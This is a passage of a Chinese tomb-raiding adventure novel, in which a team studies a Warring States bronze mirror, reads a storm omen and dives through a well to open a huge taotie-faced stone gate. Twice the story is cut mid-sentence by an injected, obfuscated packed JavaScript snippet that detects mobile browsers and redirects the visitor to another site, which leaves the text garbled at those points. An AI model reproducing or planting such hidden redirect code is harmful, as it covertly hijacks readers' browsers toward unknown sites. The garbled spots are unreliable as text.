封鬼一靠近,那群麻雀就全都惊得飞走了。宋阿拽也转过身看向他,那种表情十分的古怪,没有惊讶,没有意外,而好像是早就知道封鬼在这里一样,就这么淡然的看着他,跟昨晚在井边那个表情一模一样。 这种表情实在是太诡异了,封鬼实在是受不了啊,有什么不能直接说出来吗?跟看怪物一样被人审视的滋味实在是不好受啊。于是就大步迎上去,指着他手里的铜镜高声问道: “这就是那铜镜?能给我看看吗?” 宋阿拽没有迟疑就大方的把铜镜递出,这倒是出乎封鬼的意料之外。他也没再客气,接过铜镜仔细翻看。镜子的大小与外表跟封鬼之前见过的出土文物差不多,上面全是斑驳的铜锈。与老张之前说的一样,镜子的一面刻着八卦,刻度很深,显然是为了与对应的凹槽吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391839|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合;一面刻着由点和线组成的星象图,纵横交错,杂乱无章,封鬼根本就看不懂。在星象图的下面有一处被刮抹的痕迹,应该就是宋阿拽说的被陈三水抹掉的地宫位置了。 不过看这镜子的花纹与造型,倒像是战国时期的,或者至少是汉代以前的,而不是唐代的。唐代的铜镜多菱花式及较厚的鸟兽葡萄纹镜,而且锡的含量比较高,一般呈白色,花纹清晰表面匀净。而这面铜镜显然图案更趋于抽象化,八卦周围的图案比较像是蟠螭纹和山字纹,而这种几何纹是典型的战国时期的纹饰。一个唐代墓葬的入口石门竟然会用战国时期的铜镜开启?这实在是有些匪夷所思啊。 封鬼又来回看了好几遍,没有再发现什么有价值的线索,就将铜镜还给宋阿拽,又把自己的想法给他说了一遍。看他的反应肯定也是想到了这一层,不过他到没有像封鬼表现的那么疑惑,反而理所当然的说了句: “这有什么奇怪的。” 封鬼一愣,忙问他是怎么回事,难道他已经知道了?就见他把镜子收了起来然后站直身子,抬头看着天低声说: “铜镜是战国的,地宫也是战国的。” 啊?封鬼糊涂了,这又是怎么一回事?那龙王宫明明就是李淳风给天丑龙肆建造的地下陵墓啊,怎么又变成战国墓了呢?难道唐朝的时候就有穿越这一说了?不过接下来封鬼就猛然想到,这个唐代的龙王宫在有些地方确实古怪,根本说不通啊。 比如说,按照已知的资料和信息推测,这个龙王宫肯定是规模宏大,耗费的人力物力肯定不在少数,没有个二三十年绝对不可能建成啊。可这墓是在龙肆死了之后才建的,李世民在位不过二十三年,难不成他在位期间一直都在为龙肆修建地宫?说不定他死了这地宫都没建好,一直拖到高宗李治登基还在建啊?这怎么可能呢?唐朝皇帝会没事吃饱撑的耗费如此巨大的国资为敌人修建陵墓吗?要真拖这么久,那龙肆的尸体早就放烂了,干脆一把火烧了了事,又何必大费周章的再修什么龙王墓呢! 难不成真就跟宋阿拽说的一样,这墓不是唐代修造的,而是在战国时期就已经存在了?正巧被李淳风发现,就趁机造了个墓中墓,将天丑龙肆给埋了进去?可之前的墓主人又是谁呢?李淳风又是从哪里得到这战国铜镜的?为什么非要把龙肆葬在这里?这墓中疑冢的背后又藏着多少不为人知的秘密呢? “哎呀不想了不想了!”封鬼摇了摇头,这还没一天,连脑袋都大了。好不容易离开城市,来到大自然的怀抱,他应该摒弃一切杂念,好好享受山中的清新空气才是啊。 深深吸了口气,封鬼打算问宋阿拽的名字,一扭头却发现那孙子径自走了,连个招呼都不打,实在是我行我素一点儿也不懂礼数啊。 靠!什么人啊!封鬼大骂,被他气得够呛。心说算了,不值得为这种人动怒,又在外面呆了会儿就也回去了。 吃完午饭,封鬼又睡了一觉,下午跟陈老四他们说了战国铜镜的事,他们都觉得这事很玄乎,还得到了地宫才能知道。 然后又研究了一下井里的情况,陈国祥说当初他来的时候,这口井就是枯的,问了之前的和尚,说这一直都是口枯井,也不知道古代是否有过水,他们都是在寺庙后面的一口井中打水吃。 井口离井底有七十多米深,陈国祥挖的时候发现越往下地质就越松散,还有很多大小不等的石块,说明这口井是被回填的。 等他挖了有300多米,终于挖通了地下河,才将这井灌满。这口井下的地下河应该是终南山高处的雪山融化的雪水汇合而成,因此才会冰冷无比。 沿着河道往西继续下潜20分钟会进入水下岩洞,那地宫入口巨大的石门就开在岩壁之上。 石门必定有缝,水肯定是要流进去的。不知道这石门后面是什么构造,如果里面就是龙王墓,那肯定早就被水给淹毁了,凭古人的智慧肯定会想到这一点,所以他们推测石门后面一定不是直接进入地宫,很有可能是一个狭长的水道,或者天然形成的岩洞,地宫肯定是建造在水平面以上。 只是在水下开启石门不知会导致什么后果,一旦水流起了变化很可能引起水道改向河水倒灌地宫。如果是这样,那地宫的秘密就将永远被埋葬于地下了。 20. 【20】宋阿拽的真名 河水倒灌,不只是地宫会被冲毁,如果他们人正好在里面,那肯定也是九死一生。 封鬼突然想到五星连珠,就问这个时机是不是正好可以对付河水倒灌的情况。陈老四点头,他早就研究过了,所谓的五星连珠,就是在南天空以太阳为首,依次往西有水星、金星、木星以及月亮以地球为中轴线,形成五星连成一线的奇异天文现象。而这种说法与今年世界末日的说法相吻合,很多人说五星连珠就是导致世界末日的原因之一。而五星连珠之时由于月亮与地球的引力作用引起潮汐效应,令地下河水平面下降,石门从而得以显露,才有了开启地宫最佳时机之说。 不过潮汐每年都有,想要打开地宫不一定非要等到今年鬼节五星连珠之时。巧就巧在,陈国祥是今年初才挖通了地下河,而又在鬼节之夜五星才会连珠,从而导致地月之间引力达到最大,地下河水位也下降到近百年来的最低点。 “分析的是有道理,不过这也都是只是我们的猜测,石门后到底是什么样咱们只有进去看了才能知道。” 陈老四本着脸语速缓慢的说着,封鬼附和的点了点头。 之后三人又聊了一会儿就各自散开了。一直等到晚饭过后,二胖他们终于回来了。 除了陈晓和解鸦门,还有十几个人,不用说肯定是那支车队。 老孙头没有跟来,大辰子带着两个村民赶着好几头骡子搬运物资上了山。 除了各种先进设备以及水粮之外,还有不少的水肺。 封鬼不由感叹鸦门这小妮子做事的周密程度啊,她是把一切能预料到的情况都计算在内了。 “哎呦!我说,这破山头我他娘的跑了好几趟啊,靠,真TM累死我了!”二胖一屁股坐倒在地上,满脸通红的在那喘气,封鬼故意挤兑他,嘲笑道: “谁叫你非要逞能学人家英雄救美?怎么着,半路上遇没遇到熊瞎子啊?” “靠!”二胖脏话刚到嘴边,见解鸦门朝他这看了一眼,不好意思的挠了挠头,继续说: “你是没看到,鸦门那车队在村子里有多壮观,一共七辆越野青一色全是路虎!路太窄根本进不来,全都停在村口呢。鸦门说了,这次只要我们能活着出来,她就直接送我一辆开回北京城!” 二胖在那一口一个鸦门叫得那是一个亲啊,就跟人家已经成了他媳妇一样。封鬼笑了笑,心说一辆路虎就把你收买了,你这命也忒贱了点儿。 当晚所有人都留宿在寺内,房间不够,就在院子里搭起了帐篷。 有人提议开个篝火晚会提前庆祝一下,也算是这次行动的揭幕仪式。 于是二十多人在寺庙中喝酒吃肉,载歌载舞,算得上是天下一大奇观了。 二胖喝得有点儿高,站在火堆前举着红星二锅头说是要给这次行动起个代号。 “咱们这是要打入龙宫了!这天丑龙肆是什么?那就是头恶龙啊,咱这次大闹龙宫那是斩妖降魔,是为民除害!哎,咱就叫它屠龙行动!进入地宫闹它个天翻地覆,这出来之后啊,个个都是屠龙的好汉!” 说完就唱起了好汉歌,根本不在调上那叫一个难听啊,连骡子都受不了在那嗷嗷直叫。 … 折腾了一宿,那些城里来的人都睡到了日上三竿,醒来的时候,村民早就赶着骡子回村去了。 大辰子和陈国祥起的也早,给大伙做好了饭,吃过之后就合计着是不是先下水探探情况。 陈国祥坚决反对,说下去一趟耗费人力物力,反正他清楚里面的情况,等明天晚上亲自带大家下去就是了。 陈晓就说这太危险,不愿让他爹跟着去地宫,要他留在上面接应。 陈国祥说井是他挖的,墓是他守的,为这地宫耗费了半辈子的光阴,不论如何也一定要进去看个究竟。 陈晓见他决心已定,肯定是拦不住,也就不再说什么。 之后他们找宋阿拽看了那铜镜,又问他陈三水的事,不过他嘴巴实在严实,根本什么也不说,只说等进了地宫所有真相就会大白天下。 搞得这么玄乎让别人甚至开始怀疑他其实也是什么都不知道,之前说的话也全都是假的,不知从哪里得来的这面铜镜。 反正不管怎么说,这个人实在太神秘诡异,可目前除了相信他也没有别的路可走,只希望时间过的快一点,好验证这铜镜是否真能打开地宫。 这一天实在是难熬,除了检查设备就是计划下去之后会发生各种突发情况的应对方案。好不容易过了一晚,终于迎来壬辰龙年七月十五中元节这一天。 关于五星连珠在很早之前已经有科学家预测是在当晚七点三十分开始,他们必须提前潜入水下到达石门。 鸦门先派了人下井测量水位,确实有些下降,不过不是很明显,于是决定等到天黑再说。 可出乎所有人的意料,没想到上午还晴空万里,刚吃过午饭竟然就阴了天。只见那半小时前还明亮如镜的蓝天白云如今竟像是被泼了层浓墨一样,厚重的乌云宛如一片片带着倒刺的龙鳞挂在天空,组成一条长长的黑龙模样,盘旋在天际。 山中是大雾弥漫,根本看不清几十米外的东西。说时迟那时快,封鬼还没来及问怎么回事,就见一道清白的闪电如同惊天巨斧将云雾劈开一道裂口,紧接着振聋发聩的雷鸣随之而来,连大地都跟着颤抖了起来。 “这是黑猪过河!黑猪过河啊!此乃极凶天兆啊!” 陈老四站在院子中央,激动的冲看天的众人叫喊。二胖不知道他说的是什么意思,就问黑猪过河是什么玩意儿。封鬼也不知道,不过见有些人面色沉重,就知道肯定不是什么好事啊。陈老四叹了口气,神情有些沮丧的说: “黑猪过河,大雨滂沱。你见那乌云的样子,是不是如黑龙一般?猪乃龙相,凡是出现这种类似于龙形的乌云天象便被称为黑猪过河。黑为阴,黑水出现在昆仑龙脉北煞之地,那就是凶恶之极的凶兆啊!” 封鬼还是不太明白,不过陈晓显然是有些不相信,皱紧眉头疑惑道: “不对啊,四叔公,以道教颠倒罗盘术的说法,这黑水倒流,那是天罡逼退了北煞,这应该是吉兆啊。” “你说的话虽不错,可那必须是南天门的神水向北回流到北煞才算数,可这黑水是从北煞流出来的,又赶上鬼节阴气最盛之时,那暴戾鬼气涌向南天门势不可挡啊!” 陈老四一席话惊醒梦中人,封鬼哑然。只是这事古怪的很,发生的太突然,也太巧合了。 “这可糟糕了!如果真要下暴雨,那地下河水位就会上涨,石门岂不是打不开了!” 有人突然说了这么一句,封鬼一看原来是宋阿拽手下那个叫小白的。这人实在太油嘴滑舌,尤其是对女孩子,鸦门也没少受他的骚扰。二胖烦他,封鬼也不怎么喜欢他。不过他这次却说到了点子上,所有人一听这话都面露焦色。 “这也不一定,看这天象离暴雨还有一段时间,估计也要到半夜才会下雨。五星连珠是九点三十分,我们一旦打开石门进入地宫,赶在暴雨酿成洪水回灌之前出来就可以了。” 陈老四分析的有道理,大家又都松了口气。封鬼见鸦门一直不动声色,这时候却皱紧了秀眉,抬起头看向了陈老四。 “四爷,你还少说了一点,恐怕这凶相没有那么简单。这黑猪过河雨侯大临,势必阴阳颠倒尸气冲天啊!咱们本来去的就是阴气之地,又赶上鬼门大开,有阴鬼与古尸作祟,别说摸金了,就是能活着出来都是个问题啊!” 啊?黑猪过河还会引起古尸作祟?众人又是一惊,二胖挠了挠头就问鸦门: “咱们不是准备了驱鬼辟邪的物件么?之前也没听你说怕鬼啊。” “这回可不一样,因为这黑猪过河阴门大开,之前那些僵尸还能勉强抵挡一番,现在它们法力大增阴气十足,纵是我们有关二爷与钟馗做左右护法也是九死一生啊!” 也不知鸦门是否夸张,总之她说的十分严重,让众人不免恐慌起来。 “嗨!管他呢!反正就算没有黑猪过河今天也是鬼门大开啊!再说我们有封鬼在这,怕他娘的鬼啊!来一个封一个。”二胖大气凛然的说,也算是鼓舞士气。在场的除了大辰子与那来历不明的宋阿拽一行人,可以说全都是道上的,对封家的手段也多有耳闻。 “不错,别说他黑猪过河,就是黑山老妖来了我陈晓也要和他斗一斗!” 陈晓也表现出豪情的一面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391840|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二胖之前还说人家娘娘腔,这下也对他另眼相看起来。只要是生死无畏的纯爷们,他霍二胖绝对是百分百的敬重。 “好!大家再休息休息,最后检查一下设备,两小时之后,我们准备下井!” 解鸦门俨然成了领导者,反正那支车队全是她的人,数量上占了优势,再说这女人确实强势,也没有人不服她。 封鬼还是对阿龙是否跟队伍下井的事耿耿于怀,就想去找宋阿拽说个明白,可找了半天也没找到他,不知道又去哪里发呆了。只好找到那个小胡子玄武,貌似他是四人中管事的。 “小封爷,这您就甭担心了,我们老板已经吩咐过了,朱雀和阿龙留在地上做接应,所以他们不会下井的。” 小胡子这个人做事特别的有分寸,给人一种精明老道又靠谱的感觉。封鬼对他很有好感,就放心的点了点头,试探性的问他: “你们宋老板呢,怎么没见到他人?是不是身体又不舒服了?” 小胡子愣了一下,显然是没有料到封鬼会这么问。 “没想到小封爷这么关心我们老板啊。没事,他那是老毛病,打小就带的病根,没啥大碍。” “是心脏不好?”封鬼继续追问,心说这宋阿拽难道是有心脏病?不过见他的体格也不像是那种羸弱的病患啊。 小胡子啧了啧嘴,显然是有所犹豫,不过还是告诉封鬼: “那倒不是,也不知咱们老板得的什么怪病,只要体温过高就会全身疼痛。所以他必须时常保持体温,上次他发病我们给他吃的就是一种特制的冷心丸,能够让他的体温迅速降下来。” 封鬼虽然没听说过这种病,也不知小胡子说的是真是假,不过这倒解释了宋阿拽为何会半夜洗凉水澡。 得到还算满意的答案,封鬼决定乘胜追击,想再探出点他们的底细。 “你们不是四大家的吧?别怪我孤陋寡闻,不过我确实没有听过你们宋老板这号人。” 小胡子的神情突然变得警惕起来,显然对旁人探究自己的背景十分防备,并不乐意将此事告诉别人。 “小封爷,这些都不是你现在该知道的事。所谓多一事不如少一事,知道的太多反而活得太累,何必杞人忧天呢?不如潇潇洒洒的过一天算一天,就算天塌下来了那也有高个顶着,您就不必操心了。” 小胡子这番话说的像是调侃,却又带着点儿挖苦的意味。封鬼知道他是话里有话,可人家已经说到这个份上要是再追问下去那就是不识抬举。只是他不明白,什么叫不是他现在该知道的事?难道说以后自己就应该知道吗? 封鬼不知道该怎么回话,只得尴尬的笑了笑,见他准备走人,就又问他: “你们老板叫什么名字?这个你总可以告诉我吧?” 小胡子听他这么一说,就用一种很古怪的表情看着封鬼,似笑非笑,让封鬼觉得有点儿头皮发麻。 “小封爷,您对我们老板的事儿还真是感兴趣啊。不过这个好说,没什么见不得人的。我们老板姓宋,名天官。如果您是想凭这名字就能查出点什么,那还是趁早别费心了吧。” 小胡子又看了封鬼一眼,就笑呵呵的离开了。封鬼愣在原地,好一会儿都不知道接下来该干什么。这一番谈话下来,不光是什么虚实都没有打探出来,反而比之前更加的疑惑了。 宋天官,这么古怪的名字,封鬼怎么看都觉得与那宋阿拽气质不符啊。 天官赐福,百无禁忌,封鬼脑中突然蹦出解鸦门说过的话,难道这宋阿拽也是发丘中郎将世家出身? 不过天官一词最早跟摸金是没有任何关联的,道教有天、地、水三官,那是玉帝派驻人间考察善恶的代表啊,是神职人员,相当于现代的纪委书记。 这天官是三官之首,权利也是最大的,难不成宋阿拽是某高干子弟?人家不是黑大佬,而是个官二代? 随后封鬼就被自己的想法给逗乐了,仅凭一个名字就去猜测人家的身世背景这也太肤浅了。 再说这很可能是个假名,知不知道也没什么太大差别。 管他天官地官,反正封鬼还是觉得宋阿拽叫着顺口,等把这事告诉二胖,免不了又会被他拿来当话题说笑一通。 21. 【21】井下石门 【21】下井 两个小时的等待对他们来说简直是一种折磨,再加上天空越来越阴沉,浓厚的云层中时不时还有闪电出现,等待的过程更加的让人烦躁不安。 封鬼吃了点儿东西,就想再小睡一会儿,虽说是不太可能睡着,但毕竟是能休息一下放松紧绷的神经。 抬头看看天,是越来越黑啊,也不知道这雨什么时候能下下来。 刚躺下,就听见二胖在院子里叫他,嗓门那个大啊,封鬼好奇,就跑出去问他怎么回事,他指着天边的乌云一脸激动的说: “快看快看!龙!是龙啊!” 封鬼顺着二胖指的方向看,就见天空中是一团团浓郁的乌云,黑压压一片,哪里有什么龙的影子啊?! “哪里有龙?你是看花眼了吧!” 封鬼嘲笑,二胖说绝对不是,刚才他确实看到一条像是龙的黑影在云里穿梭啊。 封鬼想了想,还是觉得不可能!龙这种东西一向是见首不见尾啊,虽说从古至今民间都有不少坠龙传说,书上也多有记载,但是由于环境污染,近代已经很少有关于亲眼见到龙的事情发生了。 现在的龙族,都是化了人形藏在人群里的,你根本无法辩解出他与人类的区别。 可能真是二胖看错了,说不定那就是一群鸟排成一字正好飞过,因为离得太远看着模糊,运动轨迹比较像是一条龙。二胖还是不服气,非说自己看到了真龙了。封鬼就问在院子里的其他人有没有看见,他们都摇头。他就更加确定是二胖看走眼了。 “我去!以为霍爷我真看到条龙呢!太TM没福气了。”二胖在那怏怏的抱怨,封鬼拍了拍他的肩膀安慰说: “你别急啊,等进了天丑龙王的地宫,你就能见到龙了。” 二胖叹了口气,怀疑道: “你说这世上真的有龙吗?那你有没有见过呢?” 封鬼笑了笑,就对他说: “虽然我没有见过龙,可我相信龙是真的存在的。” “那你有什么证据呢?说来听听。”二胖继续追问,封鬼想了想,说: “龙的真假用一个简单推理就知道了。你看十二生肖,为什么十一个都是真实存在的,但惟独龙我们现在人找不到?古人其实是很务实的,这点不必怀疑。所以龙一定是有的,而且在古代经常能见到。只是随着时代的发展,环境一天不如一天,龙这种生物活得很精贵,对环境质量要求也很高,所以数量越来越少,剩下的只好藏起来了。” 二胖还是不信,啧了啧嘴。 “这十二生肖只是个巧合吧,除了这个你还能拿出什么证据啊?” 封鬼心说你这二胖成心找茬是不是,闲着无聊找我给你说故事听啊!难不成刚才说看到龙都是骗人的,拿我开涮才是你的目的啊。不过他也没这么小气,见人家二胖确实对这挺有兴趣,本着传教授课的好意,继续解说。 “有句古话,叫‘蝉以翼鸣,龙以角听’。这个古人很聪明啊,知道蝉是煽动翅膀发出响声,他们对龙也研究的很透彻,知道龙的耳朵只是摆设根本就听不见,而是用龙角来辨别声音。所以古人造字聋子的‘聋’怎么写?上龙下耳,汉子是象形文字啊,意思是说,聋子就算有耳朵也没用,因为听不见。 龙代表天子,具有不可抗拒的暴力,令百姓胆战心惊而不得不下跪从命啊,而‘聋’这个字是在骂天子没有耳朵,是聋子啊。可这个字却一直沿用至今,难道说在五千年的封建君主专制统治下帝王会对这个带有亵渎性的文字视而不见吗?那只能说明龙是真实存在的,古人知道龙没有耳朵,古人确实是见过龙的。” 封鬼说完这番关于龙的长篇大论,有根有据,不得不令人折服,二胖终于算是相信了不少,点头道: “嗯,你说的确实有道理,看来这龙是真的存在啊。那等见了天丑龙肆,我一定要拍张照片留念啊。” 二人又是说说笑笑,封鬼是睡意全无。 好不容易忍受完两个小时的煎熬,所有人在二龙塔下集合,准备完毕,整装待发。 他们又做了最后的测量,水位竟然下降了七十多米,这算是天大的喜讯。除了大辰子和朱雀阿龙,队伍一共二十一个人下井。 其中解鸦门带来的有十二个人,不乏有盗墓的行家。听他们说地宫中一定是机关重重,所以大家绝对不能落单,必须都跟着最有经验的领队走。 领队的是个七十岁上下姓钱的老头,是鸦门专程请来的。鸦门手下的人对这钱老头都十分敬畏,可以看出他在道上的资历和地位不低。 钱老头在业界有个诨号,人称钱串子。说起他的这个诨号,那可是大有来头。 钱串子是什么东西?那是一种学名蚰蜒的多足昆虫,又名地蜈蚣。钱串子有毒啊,行动又非常迅速,喜居在阴暗潮湿的地下。 而且这种生物十分狡猾,因为足多且极其细长,只要有一部分足被捉住,就会轻易从身体上断落从而逃脱。钱老头这辈子净干地下摸金的勾当,身手干练,为人又狡猾阴毒,跟钱串子的习性简直一模一样,所以才落了这么一个名号。 别看他已经年过七旬,又矮又瘦,头发也没剩下几根,身体却精壮的很,双目炯炯有神,给人十分干练敏捷的感觉。 关于钱串子的传说也特别的多,各种稀奇古怪的版本都有。其中最离奇的一个是有关他的身世。 传说这钱串子最早是巫家唐门的人,后来遭到族人迫害投奔到了佛家须厄门下。 所谓一江春水有两岸景色,再怎么说都是山上搬柴山下烧火,大家都是同行,人家既然落难来投奔你,于情于理也该出手相助。 于是当时的须厄门当家穆玄典就收他为徒,并得到了唐门搬山卸岭的不传秘术。须厄门属密宗,信奉藏传佛教,在佛经中蕴藏了好几处古代藏墓。 钱串子为报穆玄典知遇之恩,就盗了个吐蕃墓葬,为须厄门带来一笔巨大的财富。穆玄典见有利可图,从此一发不可收拾,命钱串子寻觅龙楼宝殿,分山解丘,大发阴财。 钱串子性情古怪,最瞧不起女人,当初鸦门去请他,原本该是请不动的,只是穆玄典对天丑龙肆的地宫感兴趣,非要分一杯羹,才强逼着钱串子来的。 如今他竟要受制于一个女人,听她的命令行事,自然是不干啊,在下井之前,就不客气的对鸦门挑明: “小丫头,不怕跟你说实话,那墓中机关何止百千,只怕没有老夫在旁指点,就一个箭雨打来你们都要做那筛子鬼!再说你们这群狗眼的凡夫俗子哪个认识那些宝贝?别净摸了堆破铜烂铁出来让人笑掉大牙!虽然我们当家命我前来助你,可你等下去之后都要听老夫的调遣。谁有不从,胆敢私自行动或误撞机关,合该他死有余辜,老夫只顾大局,绝不出手相救!” 钱串子中气十足铿锵有力,长者风范令在场闻者不得不服啊。鸦门笑着点头,回话说一切都听钱老爷子调令。 众人又最后严查了装备,身穿潜水衣,各自套上一副水肺,封鬼有意留心那宋阿拽,却发现他并不在众人队伍之中。刚想问一旁的玄武,就见宋阿拽从庙门口走了过来,已经穿好了潜水衣,看来还做了准备。 “你去哪儿了?大家都等着你呢。”封鬼见他正经过自己身边去领水肺,就多嘴问了一句。宋阿拽穿着潜水衣的样子有些可笑,跟他平时的西装革领形象实在相差甚远,封鬼努力憋住笑,见他那一脸的惺忪呆样,猜他是躲哪棵树下睡觉去了。 “睡着了。” 回答的倒是老实,封鬼终于笑出声,解鸦门也冲他露出一个绝美的笑容,加上潜水衣勾勒出的曼妙身材,看得封鬼也是一阵惊艳。再见那霍二胖,两眼早就直了,根本就没离开过鸦门身边。 “以后跟紧点,别再落单了。”鸦门柔声细语的说着,递给宋阿拽一副水肺,宋阿拽只是看了她一眼,也没回话。 “来,我帮你戴上。” 鸦门伸手要帮宋阿拽戴头盔,宋阿拽却后退躲了一下,到了封鬼面前,示意他帮自己戴。封鬼一愣,心说你怎么不找你的手下?我有跟你这么熟络吗?不过还是老好人的帮他弄了。 封鬼不知道自己算不算是得罪了解鸦门,这小妮子的心思他已经猜到了八九不离十,不过当下这么紧急的关头也顾不上她的个人感受了。 陈国祥打头阵,首先进入井中。在下水之前,他把大辰子叫到面前,凑近压低声音同他说了几句,神 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等陈晓跟鸦门下去之后,封鬼和二胖紧跟其后。井壁上挂着陈国祥之前搭的木架,以方便井内作业。顺着木架向下爬行二百多米,爬得腿都抽筋了,终于入到了水面。一个猛子扎下,封鬼就觉得牙齿开始打颤。水中的冰冷虽然早有心里准备,却还是没有想到会冷到这种程度。 无数盏矿灯将水下照得亮如白昼,水里没有任何生物,干净的透明,这让封鬼放下了不少心。毕竟是连着地下河,难免没有什么奇怪的物种。如果要是在这里碰上个带毒咬人的不明生物,那岂不是出师不利。 封鬼第一次用水肺,呼吸还不怎么熟练,好几次差点呛到水。二胖倒是如鱼得水,跟鸦门相互打手势交流,一点儿也没障碍。 深水恐惧症这种东西,只要是没经过特殊训练的潜水员肯定多少都会有,封鬼也一样,越往下潜胸口就越憋闷,脑袋也开始昏沉起来,跟醉氧的状况差不多。水压越来越高,肺里的空气实在不够用,实在是痛苦的难受啊。不过好在他们人多,周围又亮,彼此的行动都能看清,恐惧感也就没有那么强烈了。 大概过了七八分钟,果如陈国祥所说,他们进入一个巨大的岩洞,又沿着水道继续潜行了几分钟,就可以探出水面了。封鬼抬起手腕看了下气压表,他们已经进入了终南山体之中。 陈国祥和钱串子两位老人走在队伍的最前头,封鬼见身边早就没了二胖,就听见洞中全是他的回声。 “我说,陈老爷子,这洞里咋就那么干净呐,啊?连条水蛇都没有?这水不是万物之源吗?有水的地方他就有鱼啊,怎么这一路走来啥也没看见啊。” “小哥你是不知道啊,佛说这水中有十万八千虫,凡肉眼所不能见。不是没有生物,而是体积太小你无法看见。” 陈国祥笑着回答,二胖点了点头。 “哦,那这么说,是因为这里的微生物太小,不够鱼塞牙缝的,所以水里没有更大的生物?” “很有这个可能。不过地下河一般都会有鱼类,而且多数是食肉类的。因为常年在地下黑暗之中,眼睛早就退化了,不过其器官就更发达,所以大家还是小心跟紧些,说不定那些食人鱼就躲在某处,等着谁落单一口咬上他的屁股呢。” 也不知道是谁戏谑的说了这番话,封鬼一看是个戴眼镜的学者模样的中年人,可能是个生物学家,对地下生物的习性十分熟悉。他这么一说大家虽然紧张倒也都乐了。二胖骂了一声,道: “我去!那不是切蛋蛋鱼嘛!专咬男人的命根子,咱们老少爷们赶紧把自己的小鸟儿都给捂好啊,千万别便宜了那群色胚!” 二胖在解鸦门身边手舞足蹈,也不捂鸟了。封鬼暗骂,这最大的色胚哪里是那些切蛋鱼啊,分明是你这霍二胖啊! 洞中的岩壁十分光滑,很少有棱角,一定是地下河长年累月的冲刷而被磨平了。队伍又向前游了两分钟,封鬼发现水流发生了变化,全都急速的流向一个方向。 顺着水流的方向望去,五六盏矿灯同时照射在前方不到二十米的岩壁上,在众人眼前出现了一道巨大的青石门,门上浮着一张青面獠牙的巨大兽脸,封鬼一看就倒吸一口冷气啊,那竟然是只饕餮的脸! 22. 【22】地宫入口 这张巨脸马面猪鼻虎牙牛角,张着一张比例大于面部的血盆大口,似乎要吞噬走入石门的人。有些像龙又有些像麒麟,封鬼仔细辨认,竟然是只饕餮神兽啊。 这扇石门实在是太过巨大,封鬼仰着脖子才能看到顶。饕餮的巨脸又恐怖狰狞,眼前的场面可以说是震撼人心啊,除了陈国祥,所有人都惊讶的张大嘴巴,一句话也说不出来。 “我去!”还是二胖先出了声。 “我说陈老爷子,你怎么没说有这么一只怪兽啊!提前知会我们一声也好有个心理准备啊。” “我要是说了不就没意思了嘛。”陈国祥对自己的决定似乎还满得意,看好戏般的来回打量众人夸张的表情和反应。估计他这二十多年也实在无趣,好歹是头一遭遇上这么多人,不趁机戏耍一下也对不起这么一扇空前绝后的石门啊。 钱串子拿了望远镜,仔细观看石门上的兽头。封鬼见他表情有异,转过头对众人说: “这是一种图腾崇拜。龙生九子,属五子饕餮最凶猛残忍,贪婪成性,喜欢吞噬活人。不论里面埋的是谁,既然崇拜饕餮,那墓主人肯定是个野心勃勃,暴虐凶残,极其具有侵略性的主啊。只不过……” 钱串子犹豫了一下,鸦门问怎么了,就见他吞了口老痰,继续说道: “只不过饕餮纹是春秋战国最具代表性的图腾崇拜,而这石门上饕餮的造型显然也是出自那个时代。看来果然如小封爷所说,这石门之后并非唐王之墓,而是战国古墓啊。” “嗨!管他唐王墓还是战国墓,您老在这瞎猜也没啥用,趁早拿铜镜打开石门一进去不就知道了!” 二胖性子急啊,见这石门就在眼前,哪里还愿再等下去?陈国祥看了看时间,觉得也差不多了,就请宋阿拽拿出铜镜,开始比对石门与镜子上的纹路凹槽。 陈国祥之前因为研究过这石门,很快就找到了与八卦图对应的凹槽,竟然是在饕餮的嘴巴正中央。好在兽口是雕在石门的下方,不然这么高还真够不着。 开启石门没有之前预料那那么复杂。将铜镜对准八卦凹槽嵌入,沿着周围的纹路走势转了三四圈,只听咯噔一声机括引发之音,石门内传出轰隆巨响,就像是水阀闸门开启的声音。 在下一秒封鬼就看见,那饕餮的大嘴竟然慢慢的张开了,而且越张越大,直到延伸入水面以下,顿时河水大量涌入兽口,如泄洪一样奔流直下,冲得好几个人没有站稳栽入水中。 “哎呀不好啊!这他娘的是道瀑布啊!” 也不知道是谁叫了一声,封鬼拉住旁边一个差点被河水卷入石门的人,看向了兽口之中,探照灯一射过去,他就看明白了,这石门可以说就是个水阀,一旦打开,河水大量涌入,倾泻直下后面悬挂的瀑布啊。 封鬼心说完了,姑且不论这墓经这洪水一冲还保不保得住,就算他们要从这瀑布下去也是个大难题啊。 不过钱串子好歹算是个人物,当下绝断,让众人取了绳子绑在饕餮粗大的獠牙之上,所有人都戴上水肺抓着绳子沿瀑布下潜。万幸之中的是,这瀑布虽然倾斜度大,可落差却不算大,也就二十多米。众人松开绳子跳入瀑布下面的水潭之中,纷纷爬上岸,摘下头罩,回头再看这瀑布,真是心有余悸啊。 只见这瀑布从几乎垂直的峭壁上落入水潭,激起千重白雾,如同深水炸弹在水面上炸出浪花与漩涡。封鬼真是捏了一把汗啊,这要是稍不留意,那就可能被瀑布砸入水底,再也爬不上来了啊。 大家整理了一下随身装备,这时候都已经是筋疲力尽,在冷水里泡了太久,个个都是面色惨白嘴唇发青啊。 “铜镜呢?铜镜有没有带下来!”钱串子突然叫了一声,陈国祥就答应说铜镜在他那儿,钱串子这才放下心,朝水里吐了口痰说: “哎呀,这只是第一道墓门,后面真正进入地宫的大门一定还需要这铜镜。” 